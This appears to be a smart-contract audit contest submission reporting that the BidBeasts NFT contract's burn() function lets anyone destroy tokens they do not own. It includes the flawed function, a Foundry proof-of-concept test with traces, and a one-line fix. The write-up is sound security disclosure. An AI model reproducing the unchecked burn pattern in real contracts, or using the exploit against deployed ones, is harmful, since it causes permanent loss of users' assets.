Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

H-01: Anyone can call `BidBeast_NFT_ERC721.sol::burn()` and burn other user's NFT

Summary

BidBeast_NFT_ERC721.sol::burn() does not verify if the caller is the owner of the NFT, and allows anyone to burn other user's NFT.

Vulnerability Details

function burn(uint256 _tokenId) public {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Impact/Proof of Concept

function test_anyoneCanBurnOtherUserNFT() public {
// Owner mints NFT to seller
vm.startPrank(OWNER);
uint256 new_token_id = nft.mint(SELLER);
vm.stopPrank();
vm.assertEq(nft.ownerOf(new_token_id), SELLER, "SELLER IS NOT OWNER OF NFT");
// Assuming another user (who is not owner of NFT)
vm.startPrank(BIDDER_1);
nft.burn(new_token_id);
vm.stopPrank();
// We should expect a revert when we call ownerOf, as NFT is burned and it should be non existent
vm.expectRevert("ERC721NonexistentToken(0)");
console.log(nft.ownerOf(new_token_id));
}

Results

[PASS] test_anyoneCanBurnOtherUserNFT() (gas: 76730)
Logs:
0x0000000000000000000000000000000000000000
Traces:
[101178] BidBeastsNFTMarketTest::test_anyoneCanBurnOtherUserNFT()
├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Return]
├─ [74067] BidBeasts::mint(SHA-256: [0x0000000000000000000000000000000000000002])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ ├─ emit BidBeastsMinted(to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [1094] BidBeasts::ownerOf(0) [staticcall]
│ └─ ← [Return] SHA-256: [0x0000000000000000000000000000000000000002]
├─ [0] VM::assertEq(SHA-256: [0x0000000000000000000000000000000000000002], SHA-256: [0x0000000000000000000000000000000000000002], "SELLER IS NOT OWNER OF NFT") [staticcall]
│ └─ ← [Return]
├─ [0] VM::startPrank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ └─ ← [Return]
├─ [7552] BidBeasts::burn(0)
│ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: 0x0000000000000000000000000000000000000000, tokenId: 0)
│ ├─ emit BidBeastsBurn(from: RIPEMD-160: [0x0000000000000000000000000000000000000003], tokenId: 0)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf28dceb3: ERC721NonexistentToken(0))
│ └─ ← [Return]
├─ [1017] BidBeasts::ownerOf(0) [staticcall]
│ └─ ← [Revert] ERC721NonexistentToken(0)
├─ [0] console::log(0x0000000000000000000000000000000000000000) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.02ms (632.10µs CPU time)
Ran 1 test suite in 6.90ms (2.02ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommendations

Add a check to ensure that the caller of BidBeast_NFT_ERC721.sol::burn() is the owner of the NFT.

function burn(uint256 _tokenId) public {
+ require(_ownerOf(_tokenId) == msg.sender, "Not owner");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!